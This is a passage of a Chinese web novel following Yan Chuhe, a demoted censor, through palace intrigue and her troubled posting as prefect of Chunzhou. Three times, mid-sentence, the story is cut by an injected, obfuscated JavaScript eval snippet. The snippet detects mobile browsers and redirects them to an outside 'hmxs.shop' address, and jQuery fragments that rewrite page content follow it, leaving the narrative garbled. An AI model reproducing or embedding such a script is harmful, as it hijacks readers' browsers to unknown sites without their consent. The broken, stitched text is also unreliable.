路斐维持着关心的表象。对,是他的演技向来不错,而不是对晏楚鹤有什么多余的感情。
他的所作所为都是为了自身的利益。
此刻心跳的失序,不过是源于计划顺利推进的兴奋。燕王如今声势显赫,绝不能让他有机会重新获得晏楚鹤这份助力。
当然,他要给足晏楚鹤虚假的希望:“你相信我,与其放弃官位稀里糊涂地嫁人,不如等帝位交迭,政局明朗,自有重返京城之日。”
“嗯,多谢你的关心。我已经决定去营州了。”
晏楚鹤点了点头,脸上凝重的神色并未掩饰。她总觉得,窦怀谦既是景安帝的儿子,他身上必定有景安帝的特质,只是藏得深,她现在看不真切。但,若是连路斐都觉得他有明君之姿?或许……是她多虑了。
这样的王朝,哪怕暂时打了胜仗,根基已经腐烂,如何重现繁荣。晏楚鹤心里对任何皇子继位都不抱期待,面上却分毫不显,装作被他说服了。
“我姑且相信明彰你的说法。”
——明彰。
这两个字被她用一种他从未听过的语调唤出,要知道,眼前这女人作御史时以铁面著称,叫任何人都是没有感情的疏离。怎么轮到他就……
莫不是他如今装病的模样,在气质上与燕王有几分重叠?她就这样待他?路斐压下这股不悦,继续披着伪装的皮囊与晏楚鹤交谈。
他现在要做的,便是塑造一个虚假的希望,再在她面前摧毁——他要彻底掌控、利用她!
不仅如此,路斐心中暗暗得意,此行果然收获颇丰,
他知道晏楚鹤喜欢的类型了。
——
又过了数日,在一场无关紧要的宫宴上,晏楚鹤如期呈上几串佛珠,算是了结了离京前最后一项差事。她如今只是个从六品的边陲太守,没有参加宫宴的资格和必要。景安帝近日心情不错,再加上刘贵妃为了见她吹了不少枕边风,才特允她往后宫一趟。
当然,在贵妃寝宫外等候刘霜清时,她先遇见窦怀谦。
他最近人逢喜事,和新任礼部尚书的千金定了婚,本该面色红润才对。但听说昨儿为了和世家子弟打成一片,在歌舞馆里醉酒到天明,瞧着气色还不如装病的路斐。
不过,在晏楚鹤面前,他是感情受挫的伤心郎君,正独自坐在亭子里,对着一壶酒自斟自饮——同不日前凯旋的燕王判若两人。
“你来了,楚鹤。”
他抬眼,声音里带着刻意不掩饰的低落。
他实实在在地想不通。她足足拒绝了他两次。若说之前是她尚有权势,心有不甘?那这次呢?她已被贬至边陲苦寒之地,为什么还是要推开他?
他在信上以列祖列宗担保,他们两人可以只做假夫妻,这可以只是权宜之计。不仅于晏楚鹤,于他也是一样。他并不想和不认识的人结婚。兴趣不同不能互相欣赏的话,害的人还是那个女子。再者,同驾驭部下臣子不同,他并不想以婚姻关系负担旁人的一生。
所以,他像母妃教导的一样,第一次拿出一片真心对这个自己此身见过最聪明的女子,她居然屡屡拒绝他。接连碰壁的挫败感远甚于结交到其他官员的喜悦。
“我心里……还是放不下你。”他灌下一杯酒,语气怅然,“你不在意,权当我一厢情愿自作多情,兴许过些日子就能好。”
王对付王家出奇顺利,他竟也有了余暇,像是话本里的伤心人一样,纵情声乐,为自己定了婚事。
他今日听说晏楚鹤要来,当然想看看晏楚鹤是否会因此流露些许在意,不想此刻……哎,晏楚鹤那双眸子清醒透彻、无关风月。那目光与他父王看臣子、与世间寻常男子审视利弊时的眼神,并无不同。许是因为他鲜少真正接近女子,此刻才恍然惊觉,世间女子的眼眸大概都是这样的。
晏楚鹤静默片刻,叹了口气:“殿下此言差矣,我瞧着您近日徜徉欢场、纵情宴乐,颇为自在快活,倒不似受尽情伤的模样。”
她语气平和,倒是没有难过,指责的意思,她对他还这番行为也算理解:“竟殿下刚成年便远赴幽州,未曾领略洛阳风华,这些日子又一直紧绷着。如今王家已除,松快几日实属常情——臣初到洛阳时,也曾耽于这京城风光。
换言之,殿下若是对我坦然,我又不能怎样。
我对殿下确有欣赏,但男女间的爱慕却是强求不来。况且,若易地而处,我大抵也会像你这样,和新接触的世家势力订婚,在需要拉拢的旧部前维持深情。”
“你不只是需要拉拢的人。”
“是,是,”晏楚鹤从善如流地微微颔首,“臣可是于益州之战立下功劳,殿下先前许诺的陇西节度使——那封手信臣可珍藏着。”
“我……”
“宫宴还在继续,那位新任礼部尚书的千金素有才女之名,殿下莫要错过这作诗的机会,让未来燕王妃以为自己的夫婿同传闻中一样是个只知打仗的武人。”
“好,”窦怀谦愣了愣,明白晏楚鹤所言有理,无从辩驳,迟滞地起身,千言万语变成一句:
“我好像才认识你,楚鹤。”
——
晏楚鹤同刘霜清的交谈。在宫中,她们的话题只能停在女学、边陲、记得书信往来,还有为她置办了些新衣。刘霜清的关心比窦怀谦务实得多,也不带半分试探,更不会过多询问她的婚事。作为女子,同为她同类,晏楚鹤很喜欢与刘霜清交谈
两个平日不多言的人,此刻竟然能聊得如此投入,毕竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847842|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们都清楚。这次分别后下次见面未可知,便不自觉多聊了几句,眼眶都有些微酸。
最初或许各怀算计的两人,如今却是近似姐妹、母女了。谈笑间,下人匆匆上前通报:“贵妃娘娘,昭宁公主已经到殿外了!”
这位才是刘霜清正儿八经的长女,只是刚及笄便自个儿挑中了驸马,这驸马非但不是上进之辈,相反,谎话张口就来。这京中便有了许多关于昭宁公主的轶事流传。
她的美貌堪称国色,几年前深得皇帝宠爱,十五岁便准开公主府。只因与母亲刘霜清闹了矛盾,一气之下带着驸马去汝州住了,年初才回来。是以,晏楚鹤在宫中时便鲜少听贵妃提起。
到底是怎样的矛盾,让刘霜清放着自己的女儿不用,让她和令狐暄先后接了女学的差事。而且刘霜清那般聪明的人,能培养出个多奇葩的女儿,晏楚鹤一直很好奇。
然而,刘霜清却是一副如临大敌,叫晏楚鹤到屏风后稍等,自己又理了理衣裳。
“母妃,许久不来你宫中,怎得味道变得这般杂乱。”未见其人,但闻其声,晏楚鹤已经拼凑了这女子大概的长相,二十出头,明媚张扬,大概是年轻版的刘霜清加点景安帝的傲慢,有意思。
“这味道倒是染着父皇喜欢的佛香?”封号为昭宁的二公主,刘霜清的长女,窦沅毫不在意公主身份,皱着鼻闻了闻,“还掺着些穷酸味,母妃,您不会又为了讨好父皇请了什么乌七八糟的僧人吧!”
晏楚鹤也忍不住皱眉,这人什么鼻子啊,把她的身上这点味道说成这样,真是没意思。
刘霜清懒得同她说这些,只道:“昭宁,你还有何事?”
窦沅不理会母亲的冷淡,掐着手,眼中尽是无限的委屈:“先前父皇在,未能同母妃说尽心,儿臣在外,真是想死母亲了。”
沉默。
刘霜清的沉默叫偷听的晏楚鹤更加好奇了,也叫窦沅更加不满了。她咬了咬牙,又更直接地开口:“母后是聪明人,儿臣也不拐弯抹角。
儿臣在郊区见了母后的那女学,那令狐女官虽然厉害,但儿臣自认为,从小得到先生看重,未必比旁人要差劲,那令狐女冠能做得,儿臣同为女子,为何做不得?”
刘霜清敷衍道:“你已经同你父皇——”
窦沅像是吃了炮仗,又急又恼,冷哼一声:“归根结底,母妃就是不愿意相信儿臣,儿臣不就是错信几个男人吗。母亲竟然宁愿相信什么狐狸燕子!”
狐狸?燕子?晏楚鹤愣了愣,窦沅像是想起开心的事情,冷笑着道:“说到那歌燕子,晏楚鹤,真是没用的野鸟。母妃那般看重,还让五弟特别照顾她,你看她现在有什么出息。还不是被贬官到边陲——”
“你给我滚。”
刘霜清忍无可忍,竟然叫宫人直接把窦沅拉走,这般不顾情面倒叫晏楚鹤大开眼界。偏偏她还不小心出现在人家家务事中,是以只能在确认窦沅走远后,才慢悠悠地从屏风后面挪出来。
刘霜清的神色难得有些狼狈:“让你见笑了,楚鹤,这丫头为了讨她父皇开心,明明已经在皇上那里领了差事,现在又存心要摘了女学的成果,我们继续聊。”
晏楚鹤自然是顺着刘霜清的话。不过被窦沅这么一闹,两人都没什么好聊了,便也很快就结束了。
晏楚鹤行至长廊拐角,一行人蓦地拦在跟前。为首是一位华服女子,云鬓金钗,身披一袭以金线银丝绣的华服长袍,罩着材质特殊,流光溢彩的墨绿长沙,走起路来叮叮当当响的不停,叫晏楚鹤心生一股烦躁。
眼前这位昭宁公主,方才在她母妃宫中,对她晏楚鹤可是很看不起。哎,晏楚鹤是真的恍惚,她不是已经被贬了成营州路八千了吗,为什么会在这里应付完皇子应付公主。
想赶紧就任的心愈发强烈,晏楚鹤压下一身反骨,像以往一样行礼。
“你就是路斐说的楚御史?啊不,楚太守?”
晏楚鹤神色一正,迅速捕抓到关键词:“公主殿下同路侯爷认识?”
“何止相熟?”窦沅唇角一勾,同在她母亲面前的撒泼打滚全然不同,眼波流转间满是玩味,“自幼便认识了。宫里教书的老学究们最头痛的学生,非我与他莫属,也算臭味相投。”
晏楚鹤心下了然,那岂不就是青梅竹马?年龄未免差的有点多。公主是有婚嫁的——不对,听说昭宁公主沉迷美色,府邸中面首数量不少。这倒是得了景安帝的真传。晏楚鹤不禁开始想象那是怎样的情景,她自然对此很好奇。
“罢了,提男人作甚。”窦沅忽地上前一步,不同于刘霜清的丹凤眼毫不客气地将晏楚鹤打量了一番,叫她不敢在胡思乱想。
???
“本宫倒想问你——你可愿意来我府中,做我的面首?”
她语出惊人,语气却极为平静:“你若应了,自然不必再去那苦寒边地。留在京城,锦衣玉食,岂不比去营州强上百倍?”
22. 吴门转粟帛
?
晏楚鹤被她这话噎住:“……且不谈微臣已是五品太守,还请公主莫要开玩笑了,微臣确实是女子。”
“本宫自然知道,”窦沅眉梢轻佻,似乎不觉得有任何不妥,“楚大人当了我的面首后,本宫自会为你寻得好差事,不比那春州太守之位差劲。”
这副霸道的样子,倒是和景安帝如出一辙。晏楚鹤急忙回想,她得用应付景安帝的方法来应对
——景安帝根本看不上她!许是肤色的原因,她自己明明相当满意,这可是京城里少见的,瞧着很健康的麦子色。
不过,窦沅姐弟倒是不在乎。
晏楚鹤倒吸了口凉气:“殿下,古来未有女子为面首之例,还请三思。”
“女子做御史,不也是我朝头一回?”窦沅笑着,“我很喜欢你,无关男女,公主府里也没有哪个面首像你一样机敏善辩,为了权势不惜任何手段,说话又总能让我父皇宽心。”
准备好用于脱身的借口停在嘴边,晏楚鹤迟疑地停在原地……是啊,在旁人眼里,她大概只是个谄媚的小人,弄权的奸臣。
里却突然改口:“恐怕要让公主失望了。无关男女,无关身份,微臣对于京都的荣华富贵其实并不在意,只是人们误会罢了。
因此,微臣的本性,貌似不是公主喜欢的呢。”
——
此番离京同先前跟随燕王时不同,冷清了不少。她离京的日子刚好撞上礼部尚书千金赵小姐的生辰,京中权贵大多聚在那。而晏楚鹤如今既已失势,自然再无人挂心。
几个来看笑话的被她一一讥讽过去,晏楚鹤并不担心这些人的报复。如今朝堂局势变化,风云诡谲,正是关键,这时候跑到那么偏的深山老林里找她麻烦,实在是闲得慌。
她同以往去春州的官兵一样,自驿道出关中,沿汉水南下,再翻越大庾岭,放入岭南道。
同晏楚鹤上路的还有那位小姨晏季华,她刚被王家的人绑到京城,晏楚鹤就自己认了罪。天子既已下旨,王家也只能放人。
相比起回到战后的益州,晏季华倒是主动要和晏楚鹤走。她经历了这些倒是看开了许多,同晏老员外的来信里隔几行就提一句“我外甥女要去当那一州最大的官了。”要知道,她先前死去的男人可不是她们县里最大的官。
晏楚鹤也有同感,先前一个两个,全都告诉她春州怎样可怕——拜托,她是去做太守的,整个州里头从上往下数最大的官诶。
如今正值冬日,岭南虽说是瘴疠之地、湿热多雨,此时反倒气候温润,颇有几分暖意。再者,此地群山环抱,陆路险峻,全靠水路,与外联络不易——于晏楚鹤而言,却恰合心境,她适应得算快。
唯一让人感到麻烦的就是,相比其他太守赴任,她这支队伍实在单薄。朝廷规制所限,她能带的随从本就不多,且这些官差良莠不齐。她只得途中另聘镖师,虽不合礼法,但她不过也是为了保全罢了,也没人闲着挑这种刺。
春州是前朝的南陵郡,如今只是大夏的一个下等州。她这太守也不过五品。春州下辖有两个县,阳春县为州治,罗水县则是景安帝继位时重新编排地方区划时加的。虽然只有万户人,但春州以银、钟乳、石斛、铅为贡品,勉强算是物产丰富。
太守府宅位于阳春县的中心,位于州衙背面,看着安全,想来上值倒是比在京时便利许多。在副官引路下,晏楚鹤安然踏入府门。
此地风土,果然与中原大不相同。
“大人身份特殊,下官特在原有仆役规制外,添了几名婢女。”说话的副官姓林名锵,任从六品春州司马,是她的常务副手。他年约四十许,举止恭敬:“春州湿气重,外人初来多不适应,您更需仔细调养。”
晏楚鹤早从吏部文牍中知悉此人——少年中举,才华过人,只因不善言辞得罪了哪个世家被贬至此,一晃便是十年。
不过,但看他现在反应,倒不似不懂变通的迂腐之辈。大抵岁月使然。哎,晏楚鹤道:“林司马有心了。只是到底不合规矩,我回头便遣返这些女子,还望您不要介意。”
“大人多虑了。岭南诸州太守府中,仆从若太过简薄,反惹人非议。”林锵皱着眉,恳切地劝道,神情不似作假,“再说,这几个女子本就是灾情时被家人发卖的,您便是放他们自由,她们也没地方去。”
“既如此,本官便参照成都人的做法,改其奴籍为雇契,从我俸禄中支取月钱,聘在府中劳作罢。”
晏楚鹤面不改色地胡说八道,这样无关痛痒地过招让人烦躁,她摸不清楚这人到底是讨好还是故意要她逾制,索性直接话锋一转:“春州辖下应不止阳春一县吧?我方才在州衙里倒是没见到罗水县的卷宗?”
“罗水已划归北边的端州了。”林锵垂首应道,“而端州如今又归岭南节度使。太守大人相比听过此职吧?”
“打过交道。”
晏楚鹤皮笑肉不笑,她又怎会不知,所谓“节度使”可是路斐一而再再而三像景安帝提出的,他的本意大概只是设立监察职位吧?有心之人一番利用,倒叫这职位替代了原先的都督。
甚至拥有着先前都督无法比拟的大权。
晏楚鹤在京城和前线都待过,只见过朝廷腐败,外敌猖獗。现在换了个角度,倒是发现这内乱或许才是最为迫在眉睫。
看出来了又有什么用?她如今这官和县令差不多啊。
“说起来,不知林司马是否知道,这新任太守需于何日向广州都督府申报?本官在路上,一路行来,乃至入府之后,都未见到相关文书。”
同益州都督府一样,依照大夏规制,数州之上设都督府总揽大局。
不过,这都督多为虚衔,本人常在京中或别处荣养,实权则由长史执掌。这般安排,既示恩宠于勋贵,又免地方坐大。广州、益州皆属此类。若由宗室子弟出任都督,则可以同长史一同外放,如燕王昔日在幽州一般。
相比于如今越来越多的节度使,都督和长史互相制衡的安排自然更利于窦氏皇权。
春州,正是隶属于广州都督府。晏楚鹤上头还有这层上司。
“哦,广州都督府长史,”林锵声音压低了些,“那位大人在今年年初
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874839|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的灾情里,不幸病逝。”
他的语气带着刻意伪装的悲伤,和无法掩饰的随意,
晏楚鹤自然是心跳漏了一拍,不敢小瞧眼前这人,面上维持冷静:“我未曾听过此事,难道无人通报京都?”
“报是报上去了。”林锵苦笑,“可京都里除了催缴赋税,又何曾理会过岭南的死活?”
“那若是停了呢。”
“您真是幽默。”
“是林司马先同我幽默的,京都怎么会什么都不干,不顾岭南的百姓呢,这不是派了我过来吗。”
“楚太守说的是——太守大人不喝茶吗?
晏楚鹤看向那杯中液体,浑浊,不能称之为茶的茶,又看向门外,送她来的官差还在。
先不谈天高皇帝远,这官差能不能保住她又是另一回事。她对这位司马的了解太少,她不知他独揽一州大权的时限,更不知他是否已狂妄到敢在初次照面便公然下毒。
是她来之前没考虑的变数。
但一个人享受到权力后会变得多么疯狂,她其实再了解不过了。
“嗯,”她颔首,却是抬手,指尖轻按了按额角,眉眼间适时露出几分疲惫与恳切,“州务繁杂,本官尚需理清头绪。不瞒司马大人,本官在京城中只做过言官,对如何治理州务毫无头绪,再加上……我先前在京中伤了心神,医嘱需静养。日常诸事,怕是要继续劳烦司马费心了。”
示弱,放权,反正只是嘴上说两句罢了,之后要怎样随时可以改口,晏楚鹤最擅长演戏了。
“哎,这如何使得……”林锵推辞的话说了半天,嘴角却是压不下去,“也罢,既然大人有恙,下官便不自量力地暂代操劳些时日。
不过,您要是提前来信说清楚便更好了,下官先前还忧心,怕您同别州那些新官一般,不明就里便要大动干戈,反倒搅得上下不安。”
他话音一转,似随意提起:“说起来,倒是圣上的吩咐,雕制御用之物的事,不知大人打算何时着手?圣旨明明白白,方言春州,甚至整个岭南无人敢怠慢的。”
晏楚鹤装作镇定:“此事自然要从长计议,圣上是听闻春州有一奇石,色彩奇异如琉璃透光,质地坚硬又如金石刚烈,在夜间时泛着红光,制成印章不需要沾染颜料就可以使用——”她说着,眼里流露出真假参半的好奇与痴迷,“我在京中翻遍典籍,也只寻得零星传闻。不知此石现如今在何处?又是何人发现的?”
那奇石她确曾心向往之,此刻拿来作幌,倒也自然。
“诶,若是旁人来问,下官绝不敢多言。”林锵压低声音,装作惋惜,“听说是在阳春县以东的深山里。
——只可惜啊,那多半是乡野谣传,当不得真。”他抬眼,话中有话,“说起来,陛下远在京城,怎会知晓这些捕风捉影的事?无论如何,您还是早做打算为妙。”
晏楚鹤心头骤然一沉。
这人神情极为虚伪,所说的话却像是事实。她先前便奇怪,怎会有这般有趣的石头。现在细品,难怪这一路赴任这般轻松,留着这种死罪给她啊。
啧。
23. 宿契春州晤
晏楚鹤应下了接风宴,便也将这位司马送走。这府里人手比她在京城的时候都要多。除了官方配给的十六位仆役,多的那四位女子说是已经及笄,瞧着只有十岁左右的样子,瘦弱,如何安排这府中一切,确实让人头疼。
三日时间悄然失去,
她先是亲自去阳春县东处找那奇石,未曾想满城居民,竟然没一个人亲眼见过,甚至没什么人听过。这样的流言长了翅膀凭空飞到京城,背后到底是何人助力……她连流言源头都难查。
接着,更不巧,尽管她已命人将宅院彻底清扫了几篇,毕竟上一任太守也是时疫走的。已经这般小心,却还是因为瘴气和水土不服,她同小姨都出现了症状。如今小姨高热不止,她请了医学博士询问,却发现此人徒有官衔、不学无术,只得亲自整饬医署事务,又费了好些时日。
不过只是对这九品医学博士做出些惩治,偏偏又激怒了那位副官。今儿一早,这林司马带着厚礼来上门,言语间尽是敲打之意:“楚大人是京中放出来的,对春州不了解。春州此地,遗弃女婴之风颇盛。大人平日出入,还是低调些好。
再说,那位医学博士名望颇盛,楚太守不过是初来乍到……”
显然,这太守之位空了太久,林副官完全分不清老大。晏楚鹤原以为来此能享点清福,眼下看来,须得先扳倒此人才行。他话虽刺耳,却也不假:她在此既无根基,亦不谙此人底细,只能忍气吞声装鹌鹑,啧。
这样下去不行。
第三夜,晏楚鹤换了深色的夜行衣,她已经摸清楚了这府衙的看守情况,她住在衙门后面,那位司马就住在衙门一侧,比她还要靠近衙门一些。
司马府邸对她防得严,她只能趁夜间下手。就像是两年前在陇西县对王县丞下手那样。
暗中调查、搜寻证据、设置陷阱、将那些狗官一一搬倒,她做御史时最擅长的就是这个。
只是如今没什么下属,一切都要亲力亲为了。
避开门房的护院与犬只,晏楚鹤稳住呼吸,悄然潜行,不发出声音——她已经许久没上过房梁,再加上瘴气侵体、病中气弱,不免有些吃力。
巡夜人的脚步很好辨认,她停了几息,待灯影离远,继续前行。她对此处不熟,今天没有结果也无妨,但千万不能打草惊蛇。
那位林司马正在妻妾的后宅,客房是空的,另有一间黑沉无光的屋子用途不明,库房中瞧着堆满钱财……大抵没有赃物,没用足够的证据,这人收贿都收得聪明。
至于书房,那外面有两名健壮男子,该死,这家伙府里的仆役数量绝对不符常规。而且,晏楚鹤远远瞧着那身腱子肉,她猜不出这些人的武功水平。只说他们发现不了她——宫里大部分侍卫都发现不了她,她浑身上下除了雕刻的刀功,便是轻功能提。
因此,晏楚鹤自然不敢现身亲自试探这两人水平,不过,要是这时有个武功尚可的人能替她试试水就好了。
心念微动,天公作美,这附近陡然传来窸窣声响。晏楚鹤眯眼望去,瞧着是个和她一个颜色打扮的小贼,身姿挺拔,却是初出茅庐,火候差得远——这还不够,晏楚鹤随手拾起一粒石子,微微眯着眼,朝书房门口使足了劲一掷。门口那两名侍卫果然中计,误会是那小贼所为,齐齐追了过去。
晏楚鹤当即闪身潜入书房,依着经验四下搜寻,很快便锁定到几本看似寻常账册,直觉藏有蹊跷,只是时间紧迫,她将账册放在一旁,她需要更加直指要害的实证。
比如——信件——带有熟悉的印章的一封信叫晏楚鹤眼前一亮,她想也不想便取了下来,这时,外面突然传来动静。看来那小贼这么快就被抓到了,真是的,亏她看他身形矫健,中看不中用。
“停手停手!我是司马大人前几日请的师爷!今天来了是为了查案子!”
“什么狮爷爷虎奶奶的,你夜闯我们府邸便是贼!给我打!”
“千,千真万确!我是为了前太守的案子而来!”
晏楚鹤指尖一顿,当即停下竖耳倾听。
“不巧了,”看守长得一脸正气,说出的话自带一股邪气,“我们司马大人可是明令了,谁都不能查这案子。”
另一位看守劝道:“别是那位楚太守的人。往死里打,直接扣在府邸。”
晏楚鹤略一沉吟,又将手中那封信按回原处。这当不成什么证据。她能闯入一次,自然能闯入第二次第三次。
只是这信上的名字让人在意。
武昌侯。
路斐和这林司马竟有来往?
心乱如麻,她必须快速解决,晏楚鹤自怀中取出一大包药粉,朝书房外扬手撒开。不过片刻,外头喧哗渐弱,那位挨了几鞭子的小师爷也晕倒了……她还得公主抱把这人搬回去。
哎,她在军中都没机会这样扛起别人,晏楚鹤忍着发酸的肩臂,凝神确认身后并无追兵,旋即提气纵身。
若是回到自己现在住的宅子,还需得避开府里林司马的眼线,实在麻烦。
再者,晏楚鹤能用来照顾这男子的人,不过是小姨身边的一对夫妻,小红姐同她相公。偏偏二人正忙着照看高热不退的小姨。晏楚鹤心念一转,取来斗笠掩住面容,扮作男子模样,搀扶着这位师爷住进了一间客栈。
他伤得倒不算重,躺在榻上呼吸平稳。瞧着约莫二十出头,眉目清隽,鼻梁挺直,唇线也微微抿着,单看面相气质,不见得是蠢笨之人。
晏楚鹤撇撇嘴,暗道一声得罪,伸手便掐住他鼻下人中。那人顿时痛醒,低呼一声,待看清她后,眼神又转为清明,抬手虚虚一揖:“多谢楚太守相救。在下曾是林司马聘的师爷,祖籍襄阳沈氏,沈昱是也。”
嗯,她的身份确实不难猜。
晏楚鹤没有否认,道:“沈先生可知道些什么?”
“太守既愿救在下,必是有意追查此案。前太守半年前死于时疫,其中牵连林司马。他更欲杀我灭口!此中蹊跷……若得太守相助,在下定可暗中查明真相。”
晏楚鹤抽了抽嘴角,又确认道:“你这话意思,莫不是现在还什么都没调查出来?!”
“太守莫急,”沈昱那双映着烛光的眼睛亮了一下,换做旁人定然已经信服,“在下并非毫无头绪,此前也侦破过数桩奇案,其中一起更是——”
话未说完,晏楚鹤已迅捷地随手拿了块布堵住他的嘴——门外有人——不应该啊,这未免太快了……晏楚鹤闪身贴到门边,凝神细听。
杂乱的脚步、压低的人语,确像是司马府的人,此外,还有兽毛沾湿后的味道。她倏然回头看向沈昱,低声问道,“你从司马府里拿了什么?”
“您的意思是,他们动用了犬儿追踪,”沈昱立刻反应过来,眼里闪过懊恼,手上动作又急又乱,“此物不过是一方镇纸,我误以为它是我误以为它是——这石头能有什么味道?又不是养香石——”
晏楚鹤蹙眉,石头本没有味道,答案这人已经说出来了,他显然是中了全套。晏楚鹤不等沈昱说完,一把从他怀中取过那块温润微沉的石头,推开窗扉扔了出去。
“我去去就回,你不想活的话大可随意乱跑。”
——
又是一阵忙活。
“在司马府时是第一回,刚刚则是第二回。”晏楚鹤自窗外翻身而入,眉头紧锁正要再说,却见这位司马从容起身,不知道从哪里搞到纸笔。
“太守为在下奔波辛苦了。”他已不见先前窘态,自行包扎妥当的伤口整整齐齐,甚至有余裕为她斟了杯茶,“在下方才已经明确……外面人数只剩四个,这家客栈同林司马确有牵连,不过,东侧临河有一窄巷堪可通行。
此外,关于追查司马罪证一事。在下也有了策略。”
不过是一炷香的功夫,此人便将退路、敌情、查案条分缕析。看来她晏楚鹤还真是好运。遇到尽是这样的人才。
“打住,既然如此,我们现在就离开。”晏楚鹤冷着脸,她对他的分析半信半疑,那么便现在行动。
一来抓紧时间,她可没空去检验一番沈昱话中信息真假再作行动。二来同行之下,即便此人有诈,她也能撇开他全身而退,三来,就算此人所说属实,他今夜先是害她探查中断、打草惊蛇,后又累她劳神费力施救脱身。这些账,这人总不能什么都不做不还吧?
晏楚鹤拉着他推门而出,快步走下楼梯。
“楚太守,小心前面那间。”
“放心,人都被我引开了,这楼里香气太多了,狗鼻子再灵也闻不出来我们的具体位置,”
晏楚鹤脚步未停,反而挑眉朝他所指的方向走过去,“再说这么三四层楼,数十间客房,你为什么觉得会在这间?”
沈昱喘着气跟上她:“这客栈以‘通宵迎客’闻名,如今没封楼,说明司马府的府卫不敢闹大。既然是私查,就只会从最不怕被人看见的地方下手。前头那块倒是……”
“你说得太慢了。”晏楚鹤将沈昱推到一旁,旋即另一手将扑来的府卫拦住,正疲惫着,不料这府卫竟猝然从怀中掏出把短刀,寒光乍亮,晏楚鹤连退两步,心头骤凛
——林锵知道今夜来的是她,竟胆大到了要灭口的程度?不,或许关键在那方被沈昱盗走的镇纸,又或是他们以为这师爷已推知了什么不该知的秘密。
疑点太多,晏楚鹤手上从容招架,脑中思绪疾转:这沈昱,究竟是不是谁安插来的眼线?她被坑多了,如今正是草木皆兵。现在十年怕井绳。
再看眼前这名府卫,功夫分明逊她许多,却仍舍命缠斗也就是她不想伤人,加上她要借机观察沈昱的反应。不然换了别人,早就夺刀反杀了。
就在这时,在她身后的沈昱动了,他非但没逃,而是直直朝她跑来。
晏楚鹤眸光一冷,
几乎同一刹那,她身后极近处,又多了一人。这人倒是聪明,脚步声轻了些,晏楚鹤本打算等那偷袭者刺近身前再倏然闪避,令前后二人自相冲撞,却不料——沈昱竟先一步扑来,伸手欲将她推开,替她挡下这一击。
……这又是唱的哪一出。
晏楚鹤这下真的猝不及防,慌乱间把自作主张的这人带走,又是在夜色中疾行了许久,才终于寻到座荒僻破庙落脚。
旧伤新伤一起重新包扎,所幸又她发现的快,只是擦伤。
“你方才为何要过来?”
“那人自后偷袭,意图不轨,在下不能对太守见死不救。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880942|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“……且说说你的调查方案吧。”
“是。”沈昱眸光一凝,忍着痛道:“若要调查林司马,前太守‘病故’一案,还有……多处蹊跷……今日之后,林府必定守备更严,
在下以为应改道行之,且先从太守府邸里的仆役入手,再查银钱往来,兼探前太守生前最后数月所理政务,林司马急于遮掩的,无非是前太守曾触及之事。三线并进,纵使他手眼通天,也难免露出破绽。”
晏楚鹤静静听完,心下微动,面上不显分毫:“不过是纸上谈兵,你既然考虑了这几个案子,为何不查查奇石事?林锵是如何放出这种传闻,竟能传到天子耳中。”
“啊?”沈昱一怔,随即失笑:“太守所言此事,倒真与林司马无关。所谓奇石,不过是谣言罢了。”
晏楚鹤收起那点漫不经心,语气比先前低了几分:“春州奇石真的不存在?沈师爷这般聪明,这回又是如何笃定的。”
“这回倒不是推理,”沈昱语调轻快,甚至带了点坦然的得意,他丝毫没有注意到晏楚鹤变化的情绪,“我亲自见过,所谓奇石,其实不过是县东山洞中的蝙蝠粪便。春州蝙蝠品类特殊,同类相残,常带血迹,经风干后质地坚硬——”
要在这种东西上雕刻,晏楚鹤胃中一阵翻涌,定然是无法成功的,她强压下不适,问道:“你口音不像本地人,怎么知道得这样清楚?”
“哎呀。不瞒太守,就是在下初来乍到时候看见误以为是奇石,同旁人宣扬,没想到越传越大,结果成了谣言,连春州外地的人都知道了。”
晏楚鹤倒吸了口凉气,理智在脑中铮然作响。她的毒药身手并不是为了伤人。可,害自己的人就在眼前,此刻就站在眼前,神情里竟还带着几分不知轻重的赧然。
她原计划得明明那样好:挑个僻静安稳的小州,做个不起眼的地方官,平淡度日享享清福,等新王继位再回去。若不是这沈昱造谣,她怎么会来这里,又怎么会面对交不出奇石雕刻的死罪。
沈昱还在笑着,却见晏楚鹤突然向自己冲了过来,他脑子一空,求生的本能逼迫着疲惫的身躯转头就跑。
楚太守突然脸色变化,定是和他误传的那谣言有关!
肌肉被牵扯得生疼,伤口重新裂开,不过几秒钟罢了,他实在跑不动,背后那女魔头却跟不知疲惫一样,沈昱当即脚步骤停,猛地转身,“扑通”一声径直跪了下来:
“是在下糊涂!不知轻重、口无遮拦,连累太守至此!沈昱愿受任何责罚!”
他跪得突然,一身衣衫在连番奔波下早已破烂,方才护她时受的伤又洇出血迹。晏楚鹤本就没有真伤他的念头,如今木已成舟,她还能怎么办,便缓缓收手,叹道:
